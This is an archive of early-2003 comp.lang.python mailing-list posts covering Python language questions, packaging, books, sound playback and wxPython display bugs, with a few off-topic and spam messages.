>        return inner()

To date, I have never encountered this particular wrinkle in my python
programming, i.e., I've not yet had cause to implement an inner class. But,
once I saw this example, it helped clear my understanding of why self might
need to be passed to its methods.

The only workaround I could come up with was to add a keyword 'outer'. Then:

class Foo:
    def self.baz(arg1):
        self.data = arg1
        class inner:
            def self.baz(arg2):
                self.data = arg2
                outer.self.data = arg2
        return inner()

I'm not sure whether I prefer this to -

class Foo:
    def baz(outer_self, arg1):
        outer_self.data = arg1
        class inner:
            def baz(inner_self, arg2):
                inner_self.data = arg2
                outer_self.data = arg2
        return inner()

The first one _looks_ more object oriented... to me... But, more keywords is
not necessarily a good thing and the second example, I think, has greater
clarity.
Anyway, I'll have to think some more about which I prefer...

I wonder, how do they deal with this issue in Ruby?

Oh, just one more thing...
[snip]
> And, of course, calling the first arg 'self' is a convention, not a
> commandment.
>
> Terry J. Reedy
>

Of course...

> "Sean Ross" <sross at connectmail.carleton.ca> wrote in message
> news:uzlQ9.2011$8n5.515861 at news20.bellglobal.com...
>The use of self is so ubiquitous in python:
>You can say,
>
>      def method(this, *args):
>           pass
>
>but few if any do for the simple reason that just about everyone else uses
self.
>








From db3l at fitlinxx.com  Fri Jan  3 12:07:28 2003
From: db3l at fitlinxx.com (David Bolen)
Date: 03 Jan 2003 12:07:28 -0500
Subject: Distributing Python apps
References: <3NhR9.5535$8n5.1039045@news20.bellglobal.com>
Message-ID: <u3coap3fz.fsf@fitlinxx.com>

"Norman Skrzypinski" <zypin at sympatico.ca> writes:

> I've spent the last couple of months investigating Visual Basic, Visual C++,
> Euphoria, Python and Perl.  I like Python, but I'm put off by the
> pain-in-the-rear methods of creating standalone Python applications.  Isn't
> this a serious shortcoming that should receive a lot of immediate attention?
> Is there a developer-friendly builder-installer in the works?

Perhaps you could elaborate on what parts of the process are
specifically painful - and what platforms you want to target?  I'm
assuming Windows since you mention the Visual languages.

While it may not be at the level of the VB "create a installer" sort
of thing, I use Gordon McMillan's installer package along with the
InnoSetup Windows installer (for typical Windows installation
packages) and I find it very easy and capable.  The installer is a
simple execution to collect all the appropriate files together, and
while you have to do some manual work to create the configuration file
for InnoSetup, it's simple enough and no worse than using something
like InstallShield with a VC application.

Others here will no doubt mention py2exe which is an alternative to
Gordon's package.  There are also alternatives to InnoSetup (such as
NSIS).

If you need more cross-platform support, Gordon's installer does
support Linux (you'd skip the InnoSetup step).

Of course, you could always use the included distutils support to
build a setup file for your package and distribute it that way.  Your
targets would need Python but not a developer environment (unless your
package includes custom extensions that need compiling, and even then
I think you can include the pre-built binaries with your
distribution).  This is actually a fairly common way to distribute
Python modules, although I can understand your desire for a more
standalone approach, particularly for Windows users, as that's what I
also do for some of my packages.

Any of these seem fairly developer-friendly to at least this developer :-)

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/



From adalke at mindspring.com  Thu Jan  9 20:13:18 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 09 Jan 2003 18:13:18 -0700
Subject: import unknown module name
In-Reply-To: <3e1e165c$0$3013$9b622d9e@news.freenet.de>
References: <3e1e165c$0$3013$9b622d9e@news.freenet.de>
Message-ID: <avl75m$ml7$1@slb4.atl.mindspring.net>

deckerben wrote:
> I did some looking but I haven't been able to find an example how to import
> an unknown encoding from 'encodings'.

>     try:
>         pagename = "encodings." + oldpage
>         charset = __import__(pagename)
>         codepage = charset
>     except:

I think there's a utility function to get this, but I
don't know enough about the Unicode modules.

In general, __import__ returns the top-level module,
and not the submodules.  You'll need to do

   codepage = getattar(__import__(pagename), "oldpage")

Also, use "except ImportError" instead of a blanket except.

If there's more than one level, this should work (untested)

    codepage = charset
    terms = pagename.split(".")
    for term in terms[1:]:
        codepage = getattr(codepage, term)

I need this just enough to be annoying ....

					Andrew
					dalke at dalkescientific.com




From mis6 at pitt.edu  Thu Jan 23 11:00:45 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 23 Jan 2003 08:00:45 -0800
Subject: difference 2.3 versus 2.2
References: <2259b0e2.0301221425.4eccaab2@posting.google.com> <b0o7nr$t1l$07$1@news.t-online.com>
Message-ID: <2259b0e2.0301230800.50ab9858@posting.google.com>

"Martin v. L?wis" <martin at v.loewis.de> wrote in message news:<b0o7nr$t1l$07$1 at news.t-online.com>...
>>Michele Simionato wrote:
>>$ p23a
>>Python 2.3a1 (#1, Jan  6 2003, 10:31:14)
>>[GCC 2.96 20000731 (Red Hat Linux 7.2 2.96-108.7.2)] on linux2
>>Type "help", "copyright", "credits" or "license" for more information.
>>>> class Meta(type): pass ...
>>>> class C(object): pass ...
>>>> C.__class__=Meta
>> TypeError: __class__ assignment: only for heap types
>> 
>> Can somebody put some light on this TypeError ? 
>> It looks like intentional.
>> 
>> I can change class of a normal object, why not the class of a class ?

>
>You can't change the class of arbitrary normal objects:
>
> >>> (2).__class__=float
>Traceback (most recent call last):
>   File "<interactive input>", line 1, in ?
>TypeError: __class__ assignment: 'float' object layout differs from 'int'
>
>In 2.3, this rules was tightened that not only the layout must be 
>compatible, but both old and new type must be "heap types", i.e. created 
>through a class statement. Without this restriction, 2.3 would have 
>allowed to write
>
>(2).__class__ = bool
>
>which would have cheated the constructor of the bool type.
>
>In your example, the old type of the object is TypeType, which is not a 
>heap type.
>
>Regards,
>Martin

Thanks, Martin.

Therefore, if I understand correctly, 'heap type' means 'user-defined type',
as opposed to built-in typ). For instance, I see that I *can* change the 
metaclass from Meta1 to Meta1 if both Meta1 and Meta2 are user-defined:

>>> class Meta1(type): pass
>>> class Meta2(type): pass
>>> C=Meta1('C',(),{})
>>> C.__class__
<class '__main__.Meta1'>
>>> C.__class__=Meta2
>>> C.__class__
<class '__main__.Meta2'>

This restriction (i.e. it is possible to change the __class__ attribute 
only for heap types) should be reported in "What's new in Python 2.3", 
since it is a change that breaks old code. I will send a copy of the 
present mail to python-docs at python.org.

Thanks again,

                                      Michele



From max at alcyone.com  Tue Jan  7 21:55:04 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 07 Jan 2003 18:55:04 -0800
Subject: python 2.2.2 on hpux11.0
References: <461d4acb.0301061720.fe0bcfd@posting.google.com> <3E1A31E7.F8D69DEB@alcyone.com> <461d4acb.0301070808.6199fdfb@posting.google.com> <pan.2003.01.07.17.18.14.416351.9294@metaslash.com>
Message-ID: <3E1B9308.D46FB6AA@alcyone.com>

Neal Norwitz wrote:

> On Tue, 07 Jan 2003 11:08:40 -0500, X3 wrote:
> 
> From what it looks like below, you have cached the configure options
> from a different machine.  Try rm config.* and then re-running
> configure/make.
> 
> If that doesn't work, you can do ./configure --without-gcc

It looks to me like the cc he has installed isn't the Real McCoy.

Worst case scenario, he could just install gcc.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Nobody can reach me, nobody can touch me; it's a wonderful feeling.
\__/ Aaliyah
    Maths reference / http://www.alcyone.com/max/reference/maths/
 A mathematics reference.



From morden at shadows.net  Wed Jan  8 15:11:49 2003
From: morden at shadows.net (morden)
Date: Wed, 08 Jan 2003 12:11:49 -0800
Subject: best college for computer science major
In-Reply-To: <3e1ba232_6@nopics.sjc>
References: <3e1ba232_6@nopics.sjc> <3E1BA510.85FBDD59@engcorp.com>
Message-ID: <avhqh4$s2$1@bob.news.rcn.net>

Peter Hansen wrote:

> Tupoi wrote:
>
> >what are the best colleges for those wanting to major in computer science
>
>
> To keep this on-topic for this newsgroup, I suppose the answer
> has to be "any which teach Python!".
>
> You *did* want to keep this on-topic, didn't you?  <0.1 wink>
>
> -Peter

MIT
UCB
Cornell (CG)
Univ of Utah (CG)

and steer clear of Stanford :-)




From lac at strakt.com  Wed Jan 29 07:51:06 2003
From: lac at strakt.com (Laura Creighton)
Date: Wed, 29 Jan 2003 13:51:06 +0100
Subject: Python vs. C++ Builder - speed of development 
In-Reply-To: Message from Michael Hudson <mwh@python.net> 
   of "Wed, 29 Jan 2003 12:14:36 GMT." <7h3el6w17cp.fsf@pc150.maths.bris.ac.uk> 
References: <3e36d04e_2@news.vo.lu> <mailman.1043781593.6864.python-list@python.org> <mzCZ9.915$wd2.80392@newsread2.prod.itd.earthlink.net> <mailman.1043799538.401.python-list@python.org> <7h3el6w17cp.fsf@pc150.maths.bris.ac.uk> 
Message-ID: <200301291251.h0TCp6jL026919@ratthing-b246.strakt.com>

> Laura Creighton <lac at strakt.com> writes:
> 
> > Typing 400 words a minute helps as well.  I cannot do that yet, but
> > one person here at Strakt can.  Utterly awesome.  I thought that
> > 200 words was good....
> 
> I think I can guess who that is :)
> 
> Cheers,
> M.

And I think you would be guessing the wrong name ....

Laura




From just at xs4all.nl  Fri Jan 24 05:35:01 2003
From: just at xs4all.nl (Just)
Date: Fri, 24 Jan 2003 11:35:01 +0100
Subject: python sandbox
References: <b0ougt$111ko7$1@hades.rz.uni-sb.de>
Message-ID: <just-C20A9C.11350124012003@news1.news.xs4all.nl>

In article <b0ougt$111ko7$1 at hades.rz.uni-sb.de>,
 Uwe Schmitt <uwe.schmitt at procoders.net> wrote:

> Hi,
> 
> I wrote a simple sandbox for executing pyhton code in a
> restricted environment.
> The code can be downloaded from 
> http://www.procoders.net/download.php?fname=SandBox.py
> I appreciate any comments. I'm especially interested if
> my restrictions are secure or if they can be circumvented.

One fairly obvious hole: the _object attr of your proxies can be 
accessed without restriction.

Just



From dglenn at charter.net  Tue Jan  7 18:48:47 2003
From: dglenn at charter.net (Doug Glenn)
Date: Tue, 7 Jan 2003 18:48:47 -0500
Subject: Books: Core Python Programming vs. Python Cookbook
In-Reply-To: <f774ba3f.0301062029.721ede80@posting.google.com>
References: <f774ba3f.0301062029.721ede80@posting.google.com>
Message-ID: <200301071848.47030.dglenn@charter.net>

On Monday 06 January 2003 23:29, Neil MacMillan wrote:
> I'm looking for a book in which I can find explanations and examples
> for things like Tkinter, network programming in Python, etc.  Topics

Heck, I've bought about every Python book out there from Learning 
Python, Programming Python, Python in 24 hours (yeck), Python 
Programming on Win32, Python Essential Reference, Learning to Program 
using Python.. and the best of the lot for getting me up and running 
was the Quick Python book by Daryl Harms and Kenneth McDonald.  It got 
me up and running the quickest.  The others were more pendatic going 
from intro, to this, to that, and you had to follow each in order to 
move onto the next.  This book got down and showed only the bare bones 
quickly and then going on to more estoric stuff without putting you 
through a lot of the background or why. You were expected to go out and 
get the others instead :)  I already knew basic programming. What I 
needed was a way to go from a to c without having to sip on b.  Now I 
can go back and use the others more as a reference.  I suppose it all 
boils down to what your background is and where you are expecting to 
go.  

I just needed something simple and fast. I don't expect to get in depth 
as a lot of people, so covering the finer points or even the fine 
points was not what I was looking for. Just basic examples I could 
string together and get it done initially.  Now that is over, I can go 
back and take more time with the details.

-----
Doug




From mimi at programgeeks.net  Sat Jan 11 11:56:26 2003
From: mimi at programgeeks.net (mimi at programgeeks.net)
Date: Sat, 11 Jan 2003 10:56:26 -0600
Subject: Join our Programming community?
Message-ID: <1042304186.654@programgeeks.net>

Hi,

    I found your email today on a website..  I am emailing a selected few to 
see if they will join a new online Programmer community.  It is found at 
http://www.programgeeks.net/forums . It really means alot to us if you could 
join. =)  See you there?

Tony Mimi
mimi at programgeeks.net
P.S. This is NOT SPAM, it is a personal invitation, your email has been 
HANDPICKED, you are only being emailed at the same time.





From mwm at mired.org  Tue Jan 21 13:11:18 2003
From: mwm at mired.org (Mike Meyer)
Date: Tue, 21 Jan 2003 18:11:18 GMT
Subject: translate txt into HTML
References: <18f9f477.0301210606.45d9eaca@posting.google.com> <3E2D5529.C9CB5479@engcorp.com>
Message-ID: <x7el762x0p.fsf@guru.mired.org>

Peter Hansen <peter at engcorp.com> writes:

> Natacha wrote:
> > 
> > We have to create a program allowing to go to seek two textual files
> > bruts(.txt), but we would like to translate them into HTML.
> > 
> > we think that a parser should be used, but we do not know how to make!
> 
> To help you clarify your requirements, I offer this first version which
> meets your requirements as stated.  What aspect of this do you find
> insufficient?  If you can explain that, we can help you with a more
> suitable solution, perhaps involving the StructuredText concept...
> 
> text = open('afile.txt').read()
> htmlFile = open('afile.html', 'w')
> print >>htmlFile, '<html><head><title>A file</title></head>'
> print >>htmlFile, '<body><pre>%s</pre></body></html>' % text
> htmlFile.close()

You've got a bug. Try this for the second print:

print >>htmlFile, '<body><pre>%s</pre></body></html>' % text.replace('<', '&lt;')

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From dialectics-unlimited at sympatico.ca  Wed Jan  8 14:05:11 2003
From: dialectics-unlimited at sympatico.ca (Michael)
Date: Wed, 08 Jan 2003 14:05:11 -0500
Subject: Python Script that Impersonates Emails
Message-ID: <8F_S9.3165$IC6.162153@news20.bellglobal.com>

Hi,

This is somewhat of an odd question.  I came across a script ages ago,
written in python, that reads usenet groups, "learns" to impersonate how
people post, and then posts a pretty convincing email to the usenet
group.  I totally forget what it was called, and am having no luck
finding it on google.  Any one out there know what I am talking about?

Thanks,

Michael




From ben at wintersun.org  Wed Jan 22 09:37:56 2003
From: ben at wintersun.org (Ben Caradoc-Davies)
Date: Wed, 22 Jan 2003 14:37:56 GMT
Subject: Newbie asks, how to get rid of the last four characters of a string?
References: <pan.2003.01.22.14.22.46.534199@yahoo.com>
Message-ID: <slrnb2tb52.1v2.ben@localhost.localdomain>

On Wed, 22 Jan 2003 15:22:47 +0100, Christopher Culver 
<kricxjo.neniuspamajxo at yahoo.com> wrote:
> I'm somewhat new to Python and have run into this problem: I have a script
> whose first argument takes a MS Word file, which would end with .doc. I
> want to remove ".doc" and have just the file name without extension. Now,
> I know I can do this with regular expressions, but is there a function
> that can be used to chomp off the last four characters without having to
> import the re module?

For the sequence a, the slice a[:-n] gives a without the last n elements. A
string is a type of sequence. For example,

"filename.doc"[:-4]

is just

"filename"

-- 
Ben Caradoc-Davies <ben at wintersun.org>
http://wintersun.org/
Imprisonment on arrival is the authentic Australian immigration experience.



From tecargile at hotmail.com  Fri Jan 10 01:30:37 2003
From: tecargile at hotmail.com (Tim Cargile)
Date: 9 Jan 2003 22:30:37 -0800
Subject: Do pythons like sugar?
References: <mailman.1042152679.31108.python-list@python.org>
Message-ID: <8b67aef5.0301092230.77a3681e@posting.google.com>

"Steven D. Arnold" <stevena at neosynapse.net> wrote in message news:<mailman.1042152679.31108.python-list at python.org>...
> On 1/9/03 2:14 PM, "Carl Banks" <imbosol at vt.edu> wrote:
> 

So ... the big question to me is when are Dalke and Afanasiy
going to get hitched. It would be a 'selfless' relationship,
I'm sure.



From Bill.Scherer at verizonwireless.com  Thu Jan  9 15:00:14 2003
From: Bill.Scherer at verizonwireless.com (Scherer, Bill)
Date: Thu, 9 Jan 2003 15:00:14 -0500 (EST)
Subject: Mail <-> News gateway not working?
In-Reply-To: <pan.2003.01.09.19.51.34.266713@earthlink.net>
Message-ID: <Pine.LNX.4.44.0301091458400.2017-100000@bagend.odc.vzwcorp.com>

On Thu, 9 Jan 2003, Cliff Wells wrote:

> I haven't seen anything I've posted all morning (via the mail list), and
> my ego is starting to shrivel.

It must have a leak. 
Mail volume seems normal to me.

> 
> Regards,
> 
> Cliff

Be well, 

-- 
Bill.Scherer at Verizon Wireless
RHCE 807101044903581





From hilbert at microsoft.com  Wed Jan 29 03:39:52 2003
From: hilbert at microsoft.com (Hilbert)
Date: Wed, 29 Jan 2003 00:39:52 -0800
Subject: sorting dictionaries by value
Message-ID: <v3f4qvg7f66nee@corp.supernews.com>

Hello,

I have the following dictionary:

>>> dict = {
... "one" : { "red" : 23, "blue" : 99 },
... "two" : { "red" : 43, "blue" : 17 },
... "three" : { "red" : 34, "blue" : 65 },
... "four" : { "red" : 36, "blue" : 38 } }

I'd like to print the value of  "blue" sorted and the corresponding key of
dict, like:

17 "two"
38 "four"
65 "three"
99 "one"

I can't figure out this one.
Any ideas welcome.

Thanks,
Hilbert






From judoscript at hotmail.com  Fri Jan 10 01:11:06 2003
From: judoscript at hotmail.com (James Huang)
Date: 9 Jan 2003 22:11:06 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com> <mailman.1042038801.29977.python-list@python.org> <52719db8.0301082116.50572416@posting.google.com> <avj741$r77$1@slb3.atl.mindspring.net>
Message-ID: <52719db8.0301092211.60ae0618@posting.google.com>

Andrew Dalke <adalke at mindspring.com> wrote in message news:<avj741$r77$1 at slb3.atl.mindspring.net>...
> James Huang:
> > As I said, "I guess"-ed. Weakly-typed-ness, are variables required to
> > be declared with types before use, and do not change for most
> > situations? I know VB has a strict mode that enforces this.
> 
> That's static typing.  C is statically typed, but weakly typed.
> For example, in C you can add a pointer, and integer, and a character,
> but the types are all declared.

Without static typing, what good does strongly-typedness do?

> 
> Python is strongly typed and dynamically typed.  There are no pointers,
> and integers and strings cannot be added.
> 

See below.

> Perl is weakly typed and dynamically typed.
> 
> Java is strongly typed and statically typed.  (Though normally
> I would use Eiffel as an example.)
> 
>  > Java and Python are so
> > similar to each other in terms of programming models, conceptually it
> > is hard for me to see which has a clear advantage. We have big Java
> > software products like Weblogic, WebSphere, etc. (funny Sun has none,
> > or, none that is successful.)
> 
> Similar?  Hmm ... How so?

See below.

> 
> I've seen Java programmers who start writing Python code.  Their
> code is distinctively not Pythonic.
> 
> Python is dynamically typed, strongly typed, supports multiple
> inheritance, allows user-classed to redefine how they work with
> operators like +, -, *, [], etc., allows a mixed OO and
> declarative programming style, has a highly dynamic runtime
> where I can even change an object's class on the fly, and

If you can change the class on the fly, does this break the
strong-typedness? It's sort like (void*). JudoScript does the same
thing, because an object, after all, is a map with a list of
associated methods/functions; unless, of course, it is a Java object
or ActiveX.

Python seems to have quite a few dangerous features that lack in Java
but do exist in C++. Java was born so many years after C++ and Python,
so there must be some reasons, I am afraid. Otherwise, with good
discipline, C++ can be just as good (except for garbage collection).

... see below.

> lets me work interactively, so I can query objects while I'm
> experimenting with them.

Cool, great usage feature for prototyping (I'm serious).

> 
> Java is statically typed, strongly typed, only allows single
> inheritance, doesn't allow operator redefinition (making for
> horrible constructs like myString1.concat(myString2) instead
> of myString1 + myString2), only allows OO programming (but
> fakes functions by using a static method - blech!) and  ...
> well, I know very little about Java's runtime but I suspect
> you can't easily change classes around.  And it has a
> separate compile-run environment which makes it hard to work
> with your objects directly.

It's the statical typing that make strong-typedness a big help for
boosting software quality -- the compiler! And that's what makes me
wonder people implement big software without the help of compilers.

> 
> OTOH, compared to APL or Prolog, Java and Python are busom
> buddies.

Actually you are right; nobody compares Python and Prolog because they
*are* different. People compare C++, Python, Java, ... because they
are similar.

To me, Python and Java are similar because they both support class and
inheritance, and garbage collection. I wouldn't say C++ and Python are
similar. Of course, variable declaration or not, blah blah ...

> 
> James Huang:
>  >>>Even so, Java is still unbeatable.
> 
> Dave Brueck:
> >>I feel the same way about the color 'forest green'. Surely on that basis
> >>alone people will come around to my way of thinking, right?
> 
> James Huang:
> > Not so sure what you mean but that's ok.
> 
> I'm rather partial to a dark green color myself.  Doesn't
> mean everyone else will join us in that prejudice.  Nor
> should they.  My girlfriend like brown, and those two colors
> complement each other well.
> 
> It's your belief that Java is unbeatable.  I and others have
> different opinions, and they we aren't going to change
> any time soon.

Sure, sure.

> 
> 					Andrew
> 					dalke at dalkescientific.com



From gerrit at nl.linux.org  Sat Jan  4 12:30:22 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Sat, 4 Jan 2003 18:30:22 +0100
Subject: Python threading tutorial?
In-Reply-To: <20030104104643.7063b7ef.pythonhda@yahoo.com.replacepythonwithlinux>
References: <mailman.1041679867.22000.python-list@python.org> <20030104104643.7063b7ef.pythonhda@yahoo.com.replacepythonwithlinux>
Message-ID: <20030104173022.GA16795@nl.linux.org>

pythonhda schreef op zaterdag  4 januari om 16:51:19 +0000:
> Take a look at: http://directory.google.com/Top/Computers/Programming/Threads/?tc=1 - To get some theory.
> 
> For Python specific stuff: http://starship.python.net/crew/aahz/IPC9/index.html - It REALLY helps if you know a little about threads already, but there are quite a few code examples on the site. I did some threading in C before trying it out in Python so I had little trouble taking the information from this site and applying it...good luck!

Ah, thanks, the Threads FAQ is really useful, I ought to have searched for
it myself...!

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From aka at mvps.org  Mon Jan 13 16:05:29 2003
From: aka at mvps.org (Alex K. Angelopoulos)
Date: Mon, 13 Jan 2003 16:05:29 -0500
Subject: [OT] Seeking Minimal Python Project Name
References: <3e22b7f7@news.swissonline.ch> <avv1pv$j59t5$1@ID-136433.news.dfncis.de> <3E23270C.7020703@nagel.co.za>
Message-ID: <avv9mp$jtet2$1@ID-136433.news.dfncis.de>

Ah.  And "Peruvian Boomslang" would be way too long and obscure. :)

It sounds like Agatha Christie knew what she was talking about.

-- 

"Pieter Nagel" <pnagel at nagel.co.za> wrote in message
news:3E23270C.7020703 at nagel.co.za...
> Alex K. Angelopoulos wrote:
> > Boomslang.
> >
> > I know, there's no such thing...
>
> There is.
>
> http://www.sun.ac.za/forlang/snakes/boomslang.html
>
> "Boomslang" is Afrikaans for "tree snake", although a more correct
> contextual translation would be "that South African tree snake species
> which was first named in Afrikans".[1]
>
> Three problems with the name:
>
> - The Boomslang is not particularly small.
> - Its' favourite food is Chameleons, not Camels.
LOL!
> - The name has already been taken by a manufacturer of a gamers' mouse.

You're right - I forgot about the hardware!

> -- 
>       ,_
>       /_)              /| /
>      /   i e t e r    / |/ a g e l
>      http://www.nagel.co.za
>
> [1] That would make Stephen King's "Peruvian boomslang" a very unlikely
> beast, since the Peruvians presumably would christen their treesnakes
> themselves. The South African government vociferously denies the
> existence of the controversial Peruvian Snake-Naming Experts Exchange
> Program.
>





From nntp0103 at thijscobben.nl  Thu Jan 23 05:39:34 2003
From: nntp0103 at thijscobben.nl (Thijs Cobben)
Date: Thu, 23 Jan 2003 10:39:34 GMT
Subject: web-hosted python
References: <3E2FB200.37D48DF0@gol.ge>
Message-ID: <GDPX9.551208$4B2.76617898@amsnews03.chello.com>

"Giorgi Lekishvili" <gleki at gol.ge> wrote in message
news:3E2FB200.37D48DF0 at gol.ge...
> Hi all!
> It happened so that a friend of mine is starting his own business:
> communications company providing, among others, web-hosting.
> Of course, I asked him to keep python and allow its use along with perl.
>
> I have the two questions to this community:
> 1. What you think is needed for a comfortable use of python as a
> web-development tool? My suggestions were:

Mine would be, istd. of mod_python:
    * ZOPE (because of pcgi_wrapper and DocumentTemplates)

Very efficient computing environment, I'ld say.

And maybe you could give users a 'headstart' by creating sort of a 'contains
all' directory hierarchy. With contains all, I mean a python source file +
document template file(s) that use the most common constructs (reading a
form, connecting to DB, sessions, looping through arrays with dtml-in, the
CGI parameters file, etc.) in the environment.

Happy to help you(r friend) set it up, if you want :-)

Yours,


Thijs Cobben





From ruses at users.snip.snip.ch  Fri Jan  3 08:41:17 2003
From: ruses at users.snip.snip.ch (BB)
Date: Fri, 03 Jan 2003 14:41:17 +0100
Subject: Python soon to develop goto ?
Message-ID: <3E1592FD.2090905@users.snip.snip.ch>

http://www.python.org/2.3/NEWS.html reads :

 > A frame object's f_lineno attribute can now be written to from a trace
 > function to change which line will execute next.




From jbperez808 at yahoo.com  Sun Jan 26 00:57:16 2003
From: jbperez808 at yahoo.com (Jon Perez)
Date: Sun, 26 Jan 2003 13:57:16 +0800
Subject: 1-line idiom to replace if blocks
References: <3e2cf624@post.usenet.com> <c718a6cf.0301232005.326b8068@posting.google.com>
Message-ID: <b0vs0q$t7ghp$1@ID-180326.news.dfncis.de>

"Y2KYZFR1" <jarrodhroberson at yahoo.com> wrote:

> > I hate code that takes up too many lines and
> > have come up with the ff. idiom to replace
> > many 4 line if statements:
> >
> > result=[value-if-false,value-if-true][condition]
> >
> > This idea could also be applied as a compact
> > switch block replacement in certain cases.
> >
>
> God I feel sorry for anyone that has to come behind you and work on
> any code you ever write. If you are this lazy not to write out a
> simple if statement where other people can come behind you and
> understand it.
>
> The entire idea behind Python even more so than other languages is
> maintance and readablity and you whack jobs just insist on making it
> convoluted and obfuscated!
>
> It does not show how clever you are, just how lazy and inconsiderate
> you are. I have fired people for less than this personally!

LOL, I came up with that idiom precisely to ***promote
code readability*** and not to be clever!!  Super short if-blocks
that nevertheless take up 4 lines make it hard and tedious to
read a long piece of logic which won't fit within a page.  It
only takes a few moments to get used to and understand the idiom
after which you will find it faster to scan through logic that
uses it.

I'm pretty anal about screen space.  I use a 160x65 fbcon
text mode under Linux and I still don't find there is enough
space (primarily vertical, I believe I've hit the sweet spot
with 160 columns :-D) to make poring through code easy.  Am
not as strong in the short-term memory department as I would
like to be, that's why I my thinking style is biased towards
'chunking'... i.e. easier to remember what one-line does rather
than going through 4 step by step.  Multiply that by many
instances of the idiom and you might see what I mean.







From tismer at tismer.com  Mon Jan 13 18:45:11 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 14 Jan 2003 00:45:11 +0100
Subject: Stackless Python, Tail Recursion and Functional Programming
In-Reply-To: <5.1.0.14.0.20030111233347.02207910@mail.thewebsons.com>
References: <mailman.1042262600.31378.python-list@python.org> <mailman.1042262600.31378.python-list@python.org> <5.1.0.14.0.20030111233347.02207910@mail.thewebsons.com>
Message-ID: <3E234F87.9080201@tismer.com>

beno wrote:
> At 03:48 PM 1/11/2003 -0800, you wrote:
> 
>> On Sat, 11 Jan 2003 01:18:05 -0400, in comp.lang.python you wrote:
>>
>> >Hi;
>> >Someone wrote me from this list advising me to drop my passion for
>> >functional programming because Python doesn't optimize for it. Then I
>> >remembered Cameron Laird's *Stackless Python*. Doesn't this take care of
>> >this problem by converting the stack into a tree, just like XSLT?
>>
>> Yes, it takes care of the recursion problem. It's _Christian Tismer_
>> who wrote it, however.
> 
> 
> Okay, okay, apologies to Christian Tismer already <g>. But now I almost 
> feel like taking a poll because I've received so many conflicting 
> reports <g>. Guess I'll have to dig a little deeper.

Did you say I should post a little more info
about Stackless? I guess, yes.

Will do -- sorry - chris






From wyojustin at hotmail.com  Mon Jan 20 21:00:07 2003
From: wyojustin at hotmail.com (Justin Shaw)
Date: Mon, 20 Jan 2003 21:00:07 -0500
Subject: Play .wav files
References: <3e2becc7$0$811$4d4ebb8e@news.nl.uu.net>
Message-ID: <UJycnTrmqt03NLGjXTWcpw@comcast.com>

"Gumuz" <gumuz at looze.net> wrote in message
news:3e2becc7$0$811$4d4ebb8e at news.nl.uu.net...
> I have found the wave module to read/manipulate/write .wav files. I can
look
> up particular positions/sections of a wave file, but I was wondering how i
> could play them.
>
>
> regards,
>
> Guyon

I love tkSnack (http://www.speech.kth.se/snack/pyinstall.html)
import tkSnack, Tkinter

root = Tkinter.Tk()

tkSnack.initializeSnack(r)

snd = Sound()
snd.read('ex1.wav')
snd.play()

snd.record()
time.sleep(1)
snd.stop()
snd.play()





From p-abel at t-online.de  Sun Jan 19 09:21:55 2003
From: p-abel at t-online.de (Peter Abel)
Date: 19 Jan 2003 06:21:55 -0800
Subject: How to convert string to float in Python 1.2
References: <3e29dba4_4@corp.newsgroups.com>
Message-ID: <13a533e8.0301190621.1ff9620e@posting.google.com>

"Bill Walker" <kwalker at earth1.net> wrote in message news:<3e29dba4_4 at corp.newsgroups.com>...
> I'm using Python 1.2 on a ZEOS notebook which runs MS DOS 5.0. Python 1.5 or
> higher will NOT install in DOS mode.
> 
> I have a string that I need to convert to a float.
> 
> f = float('1.234')
> 
> for example.  This works in Python 1.5 but does not work in Python 1.2. Nor
> is there a built-in function or a string module that will work (that I have
> found). Any tricks to doing this conversion in version 1.2, short of writing
> my on string to float module?
> 
> 
> 
> 
> 
> 
> -----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
> http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
> -----==  Over 80,000 Newsgroups - 16 Different Servers! =-----

Don't know Python 1.5, but eval could be a very old function.
If it exist in 1.5 you would succeed with
>>> f = '1.234'
>>> 
>>> eval(f)
1.234

Peter



From sean at activeprime.com  Tue Jan 21 15:00:02 2003
From: sean at activeprime.com (Sean)
Date: 21 Jan 2003 12:00:02 -0800
Subject: wxPython on RedHat 7.3  (GNOME 1.4 I think???)
References: <ef7a350b.0301101318.1fdaeb0c@posting.google.com>	 <mailman.1042235066.17749.python-list@python.org>	 <ef7a350b.0301131300.58ad06@posting.google.com>	 <mailman.1042492466.10176.python-list@python.org>	 <ef7a350b.0301170933.2990e7af@posting.google.com> <mailman.1042825960.12009.python-list@python.org>
Message-ID: <ef7a350b.0301211200.59463152@posting.google.com>

Cliff Wells <LogiplexSoftware at earthlink.net> wrote in message news:<mailman.1042825960.12009.python-list at python.org>...
> On Fri, 2003-01-17 at 09:33, Sean wrote:
> 
> > Here is a sample program that creates a small frame and adds a toolbar
> > with 2 wxStaticText controls.  Under both KDE and Gnome (on both
> > redhat 7.3 and 8.0) the static text will disappear anytime you resize
> > the frame.  The only way to get it back is to give focus to another
> > window, and then focus to the frame.
> > 
> > 
> > from wxPython.wx import *
> > 
> > ID_ABOUT = 101
> > ID_EXIT  = 102
> > 
> > class MyFrame(wxFrame):
> >     def __init__(self, parent, ID, title):
> >         wxFrame.__init__(self, parent, ID, title,
> >                          wxDefaultPosition, wxSize(400, 250))
> > 
> > 
> >         self.toolBar =
> > self.CreateToolBar(wxTB_HORIZONTAL|wxTB_3DBUTTONS, NewId(), "ToolBar")
> > 
